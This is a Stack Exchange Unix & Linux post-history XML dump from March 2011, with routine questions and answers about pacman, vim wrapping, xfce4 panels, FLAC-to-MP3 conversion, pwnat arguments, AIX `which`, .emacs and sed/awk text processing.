  <row Id="24407" PostHistoryTypeId="5" PostId="10179" RevisionGUID="d5c46907-b1f0-4202-bb58-55f30feee6ed" CreationDate="2011-03-27T19:54:51.580" UserId="5909" Comment="added 97 characters in body" Text="You should be able to reinstall the package with a simple:  &#xD;&#xA;&#xD;&#xA;    # pacman -S perl-libwww&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This will only remove perl-libwww:  &#xD;&#xA;&#xD;&#xA;    # pacman -Rdd perl-libwww&#xD;&#xA;&#xD;&#xA;Please notice the double *-d* in the command, if you use *--nodeps* you have to specify that twice too or combine it with a *-d* like:&#xD;&#xA;&#xD;&#xA;    # pacman -R --nodeps --nodeps perl-libwww&#xD;&#xA;    # pacman -Rd --nodeps perl-libwww&#xD;&#xA;&#xD;&#xA;This removes all the packages which depend on perl-libwww:  &#xD;&#xA;&#xD;&#xA;    # pacman -Rc perl-libwww&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;From pacman's man page:  &#xD;&#xA;&#xD;&#xA;&gt;        -d, --nodeps&#xD;&#xA;           Skips dependency version checks. Package names are still&#xD;&#xA;           checked. Normally, pacman will always check a package’s&#xD;&#xA;           dependency fields to ensure that all dependencies are&#xD;&#xA;           installed and there are no package conflicts in the&#xD;&#xA;           system. Specify this option twice to skip all dependency&#xD;&#xA;           checks.&#xD;&#xA;       -c, --cascade&#xD;&#xA;           Remove all target packages, as well as all packages that&#xD;&#xA;           depend on one or more target packages. This operation is&#xD;&#xA;           recursive, and must be used with care since it can remove&#xD;&#xA;           many potentially needed packages." />
  <row Id="24408" PostHistoryTypeId="2" PostId="10183" RevisionGUID="e43cd3f8-f6cf-493f-93e4-1cc9237e8e98" CreationDate="2011-03-27T19:58:15.650" UserId="5931" Text="`wrap` and `linebreak` control the display of text, I think you'll find they don't actually insert newlines in the file. To get vim to insert newlines in the file as you type, set `textwidth` to the desired width (e.g. 80).&#xD;&#xA;&#xD;&#xA;That will still not automatically reflow subsequent lines when you insert more text. I usually do that manually with `gq}`, but I just discovered that `set formatoptions+=a` will tell vim to do it automatically. See [the help for `auto-format`][1].&#xD;&#xA;&#xD;&#xA;   [1]: http://vimdoc.sourceforge.net/htmldoc/change.html#auto-format" />
  <row Id="24409" PostHistoryTypeId="2" PostId="10184" RevisionGUID="ba81e0b1-7684-43a2-a4b3-0e3b2d9ec218" CreationDate="2011-03-27T19:58:59.583" UserId="3082" Text="The `gq}` wraps a paragraph to `textwidth`. Be sure to `set tw=80` first. Many distros map that to Q. So you may also be able to also use `Q}` instead.&#xD;&#xA;" />
  <row Id="24410" PostHistoryTypeId="2" PostId="10185" RevisionGUID="7dd5d630-3ab4-49da-bfa7-de4f92d93563" CreationDate="2011-03-27T20:04:25.753" UserId="3082" Text="It's just one widget, so you can just add the Notification Area panel item using the Panel configuration. You can drag-and-drop it in XFCE4 in versions prior to 4.8. With 4.8 you there is a `+` putton in the Items tab. " />
  <row Id="24411" PostHistoryTypeId="5" PostId="10181" RevisionGUID="b9479eb0-adc5-4145-81db-ef067669bb07" CreationDate="2011-03-27T20:22:26.723" UserId="2897" Comment="added 270 characters in body; edited title" Text="While playing with xfce4 (on Xubuntu) I accidentally removed the notification area which is placed by default in the right of the top panel. Is there a way to restore it back to it's original state without diving into the process of adding, placing and adjusting icons?&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;Actually, I'm looking for restoring the notification area to it's **default original state** by restoring its state &quot;meta data&quot; stored in the my /home directory, how can I accomplish that with the command line? Where should I go and what should I restore?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="24412" PostHistoryTypeId="4" PostId="10181" RevisionGUID="b9479eb0-adc5-4145-81db-ef067669bb07" CreationDate="2011-03-27T20:22:26.723" UserId="2897" Comment="added 270 characters in body; edited title" Text="Xubuntu: Restoring the notifcation area in xfce4" />
  <row Id="24413" PostHistoryTypeId="25" PostId="10182" RevisionGUID="b3c62d85-6380-49b9-a780-b92ec8e0f78f" CreationDate="2011-03-27T20:31:39.837" Comment="http://twitter.com/#!/StackUnix/status/52105524522663938" />
  <row Id="24414" PostHistoryTypeId="2" PostId="10186" RevisionGUID="916052b5-19bf-4d6d-9751-1626b46dadce" CreationDate="2011-03-27T20:33:15.027" UserId="5909" Text="    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    file=&quot;$1&quot;&#xD;&#xA;    outfile=${file%.flac}.mp3&#xD;&#xA;    &#xD;&#xA;    ARTIST=$(metaflac &quot;$file&quot; --show-tag=ARTIST | sed s/.*=//)&#xD;&#xA;    TITLE=$(metaflac &quot;$file&quot; --show-tag=TITLE | sed s/.*=//)&#xD;&#xA;    ALBUM=$(metaflac &quot;$file&quot; --show-tag=ALBUM | sed s/.*=//)&#xD;&#xA;    DATE=$(metaflac &quot;$file&quot; --show-tag=DATE | sed s/.*=//)&#xD;&#xA;    TN=$(metaflac &quot;$file&quot; --show-tag=TRACKNUMBER | sed s/.*=//)&#xD;&#xA;    GENRE=$(metaflac &quot;$file&quot; --show-tag=GENRE | sed s/.*=//)&#xD;&#xA;    &#xD;&#xA;    flac -cd &quot;$file&quot; | lame --preset fast extreme - &quot;$outfile&quot;&#xD;&#xA;    id3 -a &quot;$ARTIST&quot; -t &quot;$TITLE&quot; -A &quot;$ALBUM&quot; -y &quot;$DATE&quot; -T &quot;$TN&quot; -g &quot;$GENRE&quot; $outfile" />
  <row Id="24415" PostHistoryTypeId="5" PostId="8202" RevisionGUID="ecbbb4bd-621f-477e-b3a0-d5b80f451fb9" CreationDate="2011-03-27T20:42:52.650" UserId="885" Comment="added 799 characters in body" Text="[BusyBox](http://www.busybox.net/) (“the Swiss Army knife of embedded Linux”) combines common command-line utilities into a single executable. It includes a shell, file utilities such as `ls` and `cp`, text utilities such as `grep` and `sed`, basic system utilities such as `init` and `syslogd`, system administration utilities such as `fsck` and `sysctl`, networking utilities such as `ping` and `ifconfig`, [and more](http://www.busybox.net/downloads/BusyBox.html#commands). It is intended for small Linux systems such as boot floppies and embedded devices.&#xD;&#xA;&#xD;&#xA;### External links&#xD;&#xA;&#xD;&#xA;* [BusyBox FAQ](http://www.busybox.net/FAQ.html)&#xD;&#xA;* [BusyBox command help](http://www.busybox.net/downloads/BusyBox.html) (note that some commands and options are optional and may not be present in your binary)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24416" PostHistoryTypeId="2" PostId="10187" RevisionGUID="311690ed-0067-4d66-9af2-5b4d6a34727f" CreationDate="2011-03-27T21:46:45.420" UserId="1389" Text="sometimes after I've been editing a textfile in gedit the letters clobber together like this:&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/DVXW4.png&#xD;&#xA;&#xD;&#xA;what is it that does that and how can i stop it from happening?" />
  <row Id="24417" PostHistoryTypeId="1" PostId="10187" RevisionGUID="311690ed-0067-4d66-9af2-5b4d6a34727f" CreationDate="2011-03-27T21:46:45.420" UserId="1389" Text="what is it that clobbers my letters together in gedit?" />
  <row Id="24418" PostHistoryTypeId="3" PostId="10187" RevisionGUID="311690ed-0067-4d66-9af2-5b4d6a34727f" CreationDate="2011-03-27T21:46:45.420" UserId="1389" Text="étextöprocessingà" />
  <row Id="24419" PostHistoryTypeId="6" PostId="10187" RevisionGUID="15f963bc-d6a7-4bde-8a5e-872cd220ab09" CreationDate="2011-03-27T21:53:23.677" UserId="885" Comment="edited tags" Text="égedità" />
  <row Id="24420" PostHistoryTypeId="17" PostId="10189" RevisionGUID="f666d50d-3a8a-4172-94a1-ff6cc29583ff" CreationDate="2011-03-27T21:54:13.817" UserId="-1" Comment="from http://stackoverflow.com/questions/5452556/centos-command-issue/5452637#5452637" Text="" />
  <row Id="24421" PostHistoryTypeId="17" PostId="10190" RevisionGUID="cd6efcc1-26f4-4066-b212-7875f592eb32" CreationDate="2011-03-27T21:54:13.817" UserId="-1" Comment="from http://stackoverflow.com/questions/5452556/centos-command-issue/5452645#5452645" Text="" />
  <row Id="24422" PostHistoryTypeId="2" PostId="10189" RevisionGUID="c9bc7c0e-c48e-4f1b-9915-fa6ad3b8efc0" CreationDate="2011-03-27T21:37:46.037" UserId="3683" Text="You're specifying the arguments incorrectly. If you look at the [pwnat home page][1] (or indeed actually read the help text that's displayed) you'll see that there are no `-p`, `--proxyhost`, etc. args. (These are simply supplied after the single -c option's IP address.)&#xD;&#xA;&#xD;&#xA;There are some examples on the pwnat home page I've linked to above that should help if you're still stuck.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://samy.pl/pwnat/" />
  <row Id="24423" PostHistoryTypeId="2" PostId="10190" RevisionGUID="5c495c68-906c-4dfb-b463-2284cc4ab45d" CreationDate="2011-03-27T21:39:32.083" UserId="3169" Text="Where did you get `--proxyhost` from??&#xD;&#xA;&#xD;&#xA;The [documentation][1] gives an example:&#xD;&#xA;&#xD;&#xA;    ./pwnat -c 8000 &lt;pwnat.server.com&gt; google.com 80&#xD;&#xA;&#xD;&#xA;So try this:&#xD;&#xA;&#xD;&#xA;    ./pwnat -c 4444 3.3.3.4 2222 8.8.8.8 4444&#xD;&#xA;&#xD;&#xA;  [1]: http://samy.pl/pwnat/" />
  <row Id="24424" PostHistoryTypeId="2" PostId="10188" RevisionGUID="8d0a2c75-6267-4e5c-bdee-22ca9f536d6f" CreationDate="2011-03-27T21:24:20.457" UserDisplayName="tech" Text="This is what I am trying to run in VMware using CentOS 5&#xD;&#xA;&#xD;&#xA;    /pwnat: invalid option -- p&#xD;&#xA;    usage: ./pwnat &lt;-s | -c&gt; &lt;args&gt;&#xD;&#xA;      -c    client mode (default)&#xD;&#xA;            &lt;args&gt;: [local ip] &lt;local port&gt; &lt;proxy host&gt; [proxy port (def:2222)] &lt;remote host&gt; &lt;remote port&gt;&#xD;&#xA;      -s    server mode&#xD;&#xA;            &lt;args&gt;: [local ip] [proxy port (def:2222)] [[allowed host]:[allowed port] ...]&#xD;&#xA;      -6    use IPv6&#xD;&#xA;      -v    show debug output (up to 2)&#xD;&#xA;      -h    show this help and exit&#xD;&#xA;    ./pwnat -c 3.3.3.3 -p 4444 --proxyhost IP 3.3.3.4 -proxyport 2222 --remotehost IP 8.8.8.8 --remoteport 4444&#xD;&#xA;    resulting in this reply &#xD;&#xA;    invalid option -- p" />
  <row Id="24425" PostHistoryTypeId="1" PostId="10188" RevisionGUID="8d0a2c75-6267-4e5c-bdee-22ca9f536d6f" CreationDate="2011-03-27T21:24:20.457" UserDisplayName="tech" Text="CentOS command issue" />
  <row Id="24426" PostHistoryTypeId="3" PostId="10188" RevisionGUID="8d0a2c75-6267-4e5c-bdee-22ca9f536d6f" CreationDate="2011-03-27T21:24:20.457" UserDisplayName="tech" Text="écommandàécentosà" />
  <row Id="24427" PostHistoryTypeId="17" PostId="10188" RevisionGUID="7706f55a-121f-4030-881b-6c0a1d13b162" CreationDate="2011-03-27T21:54:13.817" UserId="-1" Comment="from http://stackoverflow.com/questions/5452556/centos-command-issue" Text="" />
  <row Id="24428" PostHistoryTypeId="5" PostId="10186" RevisionGUID="ca262069-cb1b-4991-97bb-d77c0c3b6ec8" CreationDate="2011-03-27T21:59:46.777" UserId="5909" Comment="deleted 241 characters in body" Text="    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    file=&quot;$1&quot;&#xD;&#xA;    outfile=${file%.flac}.mp3&#xD;&#xA;    &#xD;&#xA;    eval $(metaflac --export-tags-to - &quot;$file&quot; | sed 's/=\(.*\)/=&quot;\1&quot;/')&#xD;&#xA;    &#xD;&#xA;    flac -cd &quot;$file&quot; | lame --preset fast extreme \&#xD;&#xA;            --add-id3v2 --tt &quot;$TITLE&quot; --ta &quot;$ARTIST&quot; --tl &quot;$ALBUM&quot; \&#xD;&#xA;            --ty &quot;$DATE&quot; --tn &quot;$TRACKNUMBER&quot; --tg &quot;$GENRE&quot; \&#xD;&#xA;            - &quot;$outfile&quot;" />
  <row Id="24429" PostHistoryTypeId="6" PostId="10188" RevisionGUID="4863af5a-c372-4430-b628-eefb36f181de" CreationDate="2011-03-27T22:11:09.627" UserId="885" Comment="edited tags" Text="écommandölineàécentosà" />
  <row Id="24430" PostHistoryTypeId="6" PostId="6115" RevisionGUID="8a378fc6-946a-44ac-a19d-4f8876378938" CreationDate="2011-03-27T22:12:03.370" UserId="885" Comment="edited tags" Text="écommandölineàéprocessà" />
  <row Id="24431" PostHistoryTypeId="6" PostId="8786" RevisionGUID="6aa69f6f-b5ad-4c17-bec7-38b4587b04a3" CreationDate="2011-03-27T22:12:42.043" UserId="885" Comment="edited tags" Text="élinuxàéinstallàésuseàémplayerà" />
  <row Id="24432" PostHistoryTypeId="6" PostId="8690" RevisionGUID="97e0a9a2-1a83-4b9c-9352-f81f04230f74" CreationDate="2011-03-27T22:12:51.717" UserId="885" Comment="edited tags" Text="écommandölineàéshutdownà" />
  <row Id="24433" PostHistoryTypeId="6" PostId="8589" RevisionGUID="8ec1f913-42bd-4830-ad05-838a81c7764a" CreationDate="2011-03-27T22:13:25.353" UserId="885" Comment="edited tags" Text="éshellàécommandölineàémonitoringà" />
  <row Id="24434" PostHistoryTypeId="2" PostId="10191" RevisionGUID="70038953-397b-45d0-a4d7-fcbb6a4e26c9" CreationDate="2011-03-27T22:19:08.073" UserId="5089" Text="Do you know why linux.org is down? Since a few weeks." />
  <row Id="24435" PostHistoryTypeId="1" PostId="10191" RevisionGUID="70038953-397b-45d0-a4d7-fcbb6a4e26c9" CreationDate="2011-03-27T22:19:08.073" UserId="5089" Text="linux.org, what's happen?" />
  <row Id="24436" PostHistoryTypeId="3" PostId="10191" RevisionGUID="70038953-397b-45d0-a4d7-fcbb6a4e26c9" CreationDate="2011-03-27T22:19:08.073" UserId="5089" Text="élinuxà" />
  <row Id="24437" PostHistoryTypeId="2" PostId="10192" RevisionGUID="c2eef3a9-c196-43f6-ae72-f2cb70c47393" CreationDate="2011-03-27T22:24:06.563" UserId="6091" Text="There is an executable in my path that I believe is a perl script. &#xD;&#xA;&#xD;&#xA;    &gt;$scriptname&#xD;&#xA;    $outputofscript&#xD;&#xA;&#xD;&#xA; but &#xD;&#xA;&#xD;&#xA;    &gt;which $scriptname&#xD;&#xA;    which:  0652-141 There is no $scriptname in $path&#xD;&#xA;&#xD;&#xA;and the path it prints is the same that `echo $PATH` gives (except space delimited rather than colon).&#xD;&#xA;&#xD;&#xA;This is as a normal user running ksh on AIX 6.1 over telnet (yeah, I know)." />
  <row Id="24438" PostHistoryTypeId="1" PostId="10192" RevisionGUID="c2eef3a9-c196-43f6-ae72-f2cb70c47393" CreationDate="2011-03-27T22:24:06.563" UserId="6091" Text="What could cause which to not show something in the path?" />
  <row Id="24439" PostHistoryTypeId="3" PostId="10192" RevisionGUID="c2eef3a9-c196-43f6-ae72-f2cb70c47393" CreationDate="2011-03-27T22:24:06.563" UserId="6091" Text="épathàéaixàékshà" />
  <row Id="24440" PostHistoryTypeId="5" PostId="10192" RevisionGUID="bb902c58-d263-4fc4-a68b-7479ff778fc0" CreationDate="2011-03-27T22:31:14.330" UserId="6091" Comment="added 90 characters in body" Text="There is an executable in my path that I believe is a perl script. &#xD;&#xA;&#xD;&#xA;    &gt;$scriptname&#xD;&#xA;    $outputofscript&#xD;&#xA;&#xD;&#xA; but &#xD;&#xA;&#xD;&#xA;    &gt;which $scriptname&#xD;&#xA;    which:  0652-141 There is no $scriptname in $path&#xD;&#xA;&#xD;&#xA;and the path it prints is the same that `echo $PATH` gives (except space delimited rather than colon).&#xD;&#xA;&#xD;&#xA;Running ksh again does not appear to change my path, but now the script is not found. &#xD;&#xA;&#xD;&#xA;This is as a normal user running ksh on AIX 6.1 over telnet (yeah, I know)." />
  <row Id="24441" PostHistoryTypeId="5" PostId="10186" RevisionGUID="e67a550f-a605-419c-9ee4-d42590293ca1" CreationDate="2011-03-27T22:34:18.837" UserId="5909" Comment="edited body" Text="    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    file=&quot;$1&quot;&#xD;&#xA;    outfile=${file%.flac}.mp3&#xD;&#xA;    &#xD;&#xA;    eval $(metaflac --export-tags-to - &quot;$file&quot; | sed &quot;s/=\(.*\)/='\1'/&quot;)&#xD;&#xA;    &#xD;&#xA;    flac -cd &quot;$file&quot; | lame --preset fast extreme \&#xD;&#xA;            --add-id3v2 --tt &quot;$TITLE&quot; --ta &quot;$ARTIST&quot; --tl &quot;$ALBUM&quot; \&#xD;&#xA;            --ty &quot;$DATE&quot; --tn &quot;$TRACKNUMBER&quot; --tg &quot;$GENRE&quot; \&#xD;&#xA;            - &quot;$outfile&quot;" />
  <row Id="24442" PostHistoryTypeId="2" PostId="10193" RevisionGUID="c66fd79e-172e-4b09-bcbc-98c14cce05fb" CreationDate="2011-03-27T22:49:30.763" UserId="1170" Text="seems to be an effect of this bug: https://bugzilla.gnome.org/show_bug.cgi?id=127731" />
  <row Id="24443" PostHistoryTypeId="2" PostId="10194" RevisionGUID="6377634e-c43a-49bb-89da-ac6bd0594b52" CreationDate="2011-03-27T23:04:55.407" UserId="885" Text="[`which` is a csh script on AIX](http://publib.boulder.ibm.com/infocenter/aix/v6r1/index.jsp?topic=/com.ibm.aix.cmds/doc/aixcmds6/which.htm), and [it might use a different path](http://unix.stackexchange.com/questions/9196/find-a-file-in-the-path-without-which). But that doesn't seem to be exactly your problem, since `which` prints the expected path.&#xD;&#xA;&#xD;&#xA;Are you absolutely sure you didn't have a different path in the first `ksh` session? Running ksh again might have changed the `PATH` because it ran `~/.kshrc` or `$ENV`. (And just to be sure, does the script still exist, or could it simply have been deleted in the meantime?)&#xD;&#xA;" />
  <row Id="24444" PostHistoryTypeId="2" PostId="10195" RevisionGUID="4a382841-4a9d-4d25-9c4d-53a19803c18a" CreationDate="2011-03-27T23:15:44.870" UserId="5909" Text="If you want to stop on an error:&#xD;&#xA;&#xD;&#xA;    while [ $? = 0 ]; do&#xD;&#xA;    	sleep 1&#xD;&#xA;    	python myapp.py&#xD;&#xA;    done&#xD;&#xA;    echo error: $?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24445" PostHistoryTypeId="25" PostId="10192" RevisionGUID="3e6babd2-0b4e-4ec0-b6c4-d04b3f5a88a2" CreationDate="2011-03-27T23:31:40.197" Comment="http://twitter.com/#!/StackUnix/status/52150824629055488" />
  <row Id="24446" PostHistoryTypeId="2" PostId="10196" RevisionGUID="2107d7a9-c430-4939-8b17-204a98749704" CreationDate="2011-03-27T23:43:00.050" UserId="6091" Text="Running `type $scriptname` told me that it was an alias. Apparently this prevented it from being found by which." />
  <row Id="24447" PostHistoryTypeId="2" PostId="10197" RevisionGUID="c9868de8-2a35-4b84-a38d-2a54bfa5b46b" CreationDate="2011-03-27T23:56:39.607" UserId="4820" Text="In this article:http://hide1713.wordpress.com/2009/01/30/setup-perfect-python-environment-in-emacs/&#xD;&#xA;&#xD;&#xA;I don't under step 7.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; 7.Add (load-library “init_python”) in your .emacs f&#xD;&#xA;&#xD;&#xA;How can I do this? thank you." />
  <row Id="24448" PostHistoryTypeId="1" PostId="10197" RevisionGUID="c9868de8-2a35-4b84-a38d-2a54bfa5b46b" CreationDate="2011-03-27T23:56:39.607" UserId="4820" Text="emacs question........." />
  <row Id="24449" PostHistoryTypeId="3" PostId="10197" RevisionGUID="c9868de8-2a35-4b84-a38d-2a54bfa5b46b" CreationDate="2011-03-27T23:56:39.607" UserId="4820" Text="éemacsà" />
  <row Id="24450" PostHistoryTypeId="5" PostId="10197" RevisionGUID="4cca0819-f455-42f1-acde-ace0e4b8f892" CreationDate="2011-03-28T00:02:44.003" UserId="4820" Comment="added 105 characters in body" Text="In this article:&#xD;&#xA;&#xD;&#xA;[http://hide1713.wordpress.com/2009/01/30/setup-perfect-python-environment-in-emacs/][1]&#xD;&#xA;&#xD;&#xA;I don't under step 7.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; 7.Add (load-library “init_python”) in your .emacs f&#xD;&#xA;&#xD;&#xA;How can I do this? thank you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://hide1713.wordpress.com/2009/01/30/setup-perfect-python-environment-in-emacs/" />
  <row Id="24451" PostHistoryTypeId="2" PostId="10198" RevisionGUID="03aa13fb-86f6-45a3-847e-9cd804a4dfae" CreationDate="2011-03-28T00:19:20.543" UserId="4194" Text="From the command line, try moving ~/.config/xfce4/panel to another directory (e.g. ~/tmp/): `mkdir -p ~/tmp; mv ~/.config/xfce4/panel ~/tmp/`.&#xD;&#xA;&#xD;&#xA;But a more &quot;safe&quot; way would be to create a new panel (right click on the panel and choose &quot;Customize Panel...&quot;.  From there, create a new panel with the appearance and position of the one you have now.  When that has been created, delete the first panel." />
  <row Id="24452" PostHistoryTypeId="2" PostId="10199" RevisionGUID="787cc58f-c28a-4d57-8d34-17ccdf361a32" CreationDate="2011-03-28T01:22:42.013" UserId="2421" Text="Type `C-x C-f ~/.emacs &lt;ENTER&gt;` to load or create your `.emacs` file.&#xD;&#xA;&#xD;&#xA;Type `(load-library “init_python”)` into that file.&#xD;&#xA;&#xD;&#xA;Type `C-x C-s` to save it." />
  <row Id="24453" PostHistoryTypeId="5" PostId="10197" RevisionGUID="a9b393ce-d253-4599-92ab-5419b8a0ee2d" CreationDate="2011-03-28T01:23:56.683" UserId="73" Comment="deleted 108 characters in body; edited title" Text="In [this article](http://hide1713.wordpress.com/2009/01/30/setup-perfect-python-environment-in-emacs/), I don't understand step 7:&#xD;&#xA;&#xD;&#xA;&gt; 7\. Add `(load-library “init_python”)` in your .emacs&#xD;&#xA;&#xD;&#xA;How can I do this?&#xD;&#xA;" />
  <row Id="24454" PostHistoryTypeId="4" PostId="10197" RevisionGUID="a9b393ce-d253-4599-92ab-5419b8a0ee2d" CreationDate="2011-03-28T01:23:56.683" UserId="73" Comment="deleted 108 characters in body; edited title" Text="What is .emacs? How do I edit it?" />
  <row Id="24455" PostHistoryTypeId="2" PostId="10200" RevisionGUID="bfe636b9-b54e-4427-9dd2-85fa962831ca" CreationDate="2011-03-28T01:53:27.173" UserId="5836" Text="My question is about Sed Scripting.. please help me&#xD;&#xA;&#xD;&#xA;I have a file called students.txt and it contains the following data in this format (Surname, Forename: day.month.year: Degree)&#xD;&#xA;&#xD;&#xA;Smith, John: 15.01.1986: MSc IT &#xD;&#xA;&#xD;&#xA;Taylor, Susan: 04.05.1987: MSc IT &#xD;&#xA;&#xD;&#xA;Thomas, Steve: 19.04.1986: MSc MIT &#xD;&#xA;&#xD;&#xA;Sennick, Joseph: 01.12.1987: MSc IT &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;please help me with editing my code:&#xD;&#xA;&#xD;&#xA;sed -e 's/\(.*\),(.*\)/\2/\1/' students.txt&#xD;&#xA;&#xD;&#xA;my code should return all lines in the format (Forename,Surname: day.month.year) but without the MSc degree being studied.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I Appreciate your help... Thanks" />
  <row Id="24456" PostHistoryTypeId="1" PostId="10200" RevisionGUID="bfe636b9-b54e-4427-9dd2-85fa962831ca" CreationDate="2011-03-28T01:53:27.173" UserId="5836" Text="help me with Sed Scripting please." />
  <row Id="24457" PostHistoryTypeId="3" PostId="10200" RevisionGUID="bfe636b9-b54e-4427-9dd2-85fa962831ca" CreationDate="2011-03-28T01:53:27.173" UserId="5836" Text="éarchölinuxà" />
  <row Id="24458" PostHistoryTypeId="6" PostId="10200" RevisionGUID="f3c5aaed-a9ca-48ab-90e3-75f9be6164f0" CreationDate="2011-03-28T01:57:25.913" UserId="3169" Comment="edited tags; added 12 characters in body" Text="ésedàéhomeworkà" />
  <row Id="24459" PostHistoryTypeId="5" PostId="10200" RevisionGUID="f3c5aaed-a9ca-48ab-90e3-75f9be6164f0" CreationDate="2011-03-28T01:57:25.913" UserId="3169" Comment="edited tags; added 12 characters in body" Text="My question is about Sed Scripting.. please help me&#xD;&#xA;&#xD;&#xA;I have a file called students.txt and it contains the following data in this format (Surname, Forename: day.month.year: Degree)&#xD;&#xA;&#xD;&#xA;    Smith, John: 15.01.1986: MSc IT &#xD;&#xA;    Taylor, Susan: 04.05.1987: MSc IT &#xD;&#xA;    Thomas, Steve: 19.04.1986: MSc MIT &#xD;&#xA;    Sennick, Joseph: 01.12.1987: MSc IT &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;please help me with editing my code:&#xD;&#xA;&#xD;&#xA;    sed -e 's/\(.*\),(.*\)/\2/\1/' students.txt&#xD;&#xA;&#xD;&#xA;my code should return all lines in the format (Forename,Surname: day.month.year) but without the MSc degree being studied.&#xD;&#xA;&#xD;&#xA;I Appreciate your help... Thanks" />
  <row Id="24460" PostHistoryTypeId="2" PostId="10201" RevisionGUID="f19ae424-5529-4db2-ba43-1c9e45280fc5" CreationDate="2011-03-28T02:19:00.537" UserId="31" Text="Rather than sed, it might be easier use awk with a field separator of ':', and just print the first two fields." />
  <row Id="24465" PostHistoryTypeId="5" PostId="10199" RevisionGUID="dfbb1648-26e9-4e3e-ac62-583c22529bb2" CreationDate="2011-03-28T02:29:15.743" UserId="2421" Comment="answer updated question" Text="To quote the [Emacs manual on The Init File][1]:&#xD;&#xA;&#xD;&#xA;&gt; When Emacs is started, it normally tries to load a Lisp program from an initialization file, or init file for short. This file, if it exists, specifies how to initialize Emacs for you. Emacs looks for your init file using the filenames `~/.emacs`, `~/.emacs.el`, or `~/.emacs.d/init.el`; you can choose to use any one of these three names. Here, `~/` stands for your home directory. &#xD;&#xA;&#xD;&#xA;Originally, Emacs looked only for `~/.emacs`.  The variant names were introduced in more recent versions of Emacs.&#xD;&#xA;&#xD;&#xA;So, in this case:&#xD;&#xA;&#xD;&#xA;Type `C-x C-f ~/.emacs &lt;ENTER&gt;` to load or create your `.emacs` file.&#xD;&#xA;&#xD;&#xA;Type `(load-library “init_python”)` into that file.&#xD;&#xA;&#xD;&#xA;Type `C-x C-s` to save it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/emacs/manual/html_node/emacs/Init-File.html" />
  <row Id="24466" PostHistoryTypeId="25" PostId="10197" RevisionGUID="9e03d487-c4aa-4e31-af16-9e8f7f4cf1a9" CreationDate="2011-03-28T02:31:40.027" Comment="http://twitter.com/#!/StackUnix/status/52196122449551361" />
  <row Id="24469" PostHistoryTypeId="2" PostId="10204" RevisionGUID="3cfdb062-ed2d-46be-97ab-45507ef9ba17" CreationDate="2011-03-28T03:03:25.113" UserId="6097" Text="But then what is the point of having full disk encryption, if you're just leaving the keys laying around in plaintext?&#xD;&#xA;&#xD;&#xA;For that to work, you'd need something like what the Trusted Computing Platform was supposed to be before Microsoft and Big Media hijacked it for their own evil user-subduing purposes.&#xD;&#xA;&#xD;&#xA;The idea is have a chip holding the keys in the motherboard, and having it give the keys only when it's verified that the software running was properly signed by a trusted authority (you).&#xD;&#xA;This way you don't leave the keys in plain sight and you don't have to boot the server interactively.&#xD;&#xA;&#xD;&#xA;It's a pity I've never seen Trusted Computing put to any *good use*, which could actually be *useful for the end user*." />
  <row Id="24470" PostHistoryTypeId="2" PostId="10205" RevisionGUID="746e4bd9-dc13-431e-a5e4-7867b77a34a4" CreationDate="2011-03-28T03:17:52.410" UserId="4194" Text="This should do it:&#xD;&#xA;&#xD;&#xA;    sed -e 's/\([^,:]*\), *\([^:]*\)/\2, \1/;s/:[^:]*$//' student.txt&#xD;&#xA;&#xD;&#xA;The first statement (separated by `;`) searches for the Surname, delimited by comma-space, and Forename, delimited by colon, and swaps them, using a comma-space separator.  The second statement searches for the last colon and removes that and anything to the end of the line.  As someone mentioned this could be handled by awk.&#xD;&#xA;&#xD;&#xA;    awk -F: 'BEGIN{OFS=&quot;:&quot;}{split($1,N,&quot;, &quot;);$1=N[2]&quot;, &quot;N[1];NF=2;print}' student.txt&#xD;&#xA;&#xD;&#xA;Q.E.D" />
  <row Id="24472" PostHistoryTypeId="2" PostId="10206" RevisionGUID="bd7a9632-0dbe-475f-950d-1260ce8b3a38" CreationDate="2011-03-28T04:51:22.183" UserId="4807" Text="I would like to create a system like this.&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/KOdeh.jpg&#xD;&#xA;&#xD;&#xA;The user would connect through a wifi network which would reroute all http requests and responses through the network card on a computer thus allowing that computer to sniff the packets. I have debian running on the computer. How would i go about doing this?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24473" PostHistoryTypeId="1" PostId="10206" RevisionGUID="bd7a9632-0dbe-475f-950d-1260ce8b3a38" CreationDate="2011-03-28T04:51:22.183" UserId="4807" Text="Sniffing packets through router" />
  <row Id="24474" PostHistoryTypeId="3" PostId="10206" RevisionGUID="bd7a9632-0dbe-475f-950d-1260ce8b3a38" CreationDate="2011-03-28T04:51:22.183" UserId="4807" Text="énetworkingà" />
  <row Id="24475" PostHistoryTypeId="2" PostId="10207" RevisionGUID="646bb049-606e-4496-8c5d-337cf33239ce" CreationDate="2011-03-28T05:06:03.990" UserId="1338" Text="For `sed` you'll want three back references. The first delimited by the comma and the second two delimited by the colon&#xD;&#xA;&#xD;&#xA;    sed 's/^\([^,]*\), \([^:]*\): \([^:]*\).*$/\2, \1: \3/' students.txt&#xD;&#xA;&#xD;&#xA;However, when dealing with delimiter and fields, `awk` is really the tool to use because you can specify a field separator which can be a regex.  In this case our field separator is either a comma or colon folowed by a space.&#xD;&#xA;&#xD;&#xA;     awk -F'[,:] ' '{printf(&quot;%s, %s: %s\n&quot;,$2,$1,$3)}' students.txt&#xD;&#xA;&#xD;&#xA;" />
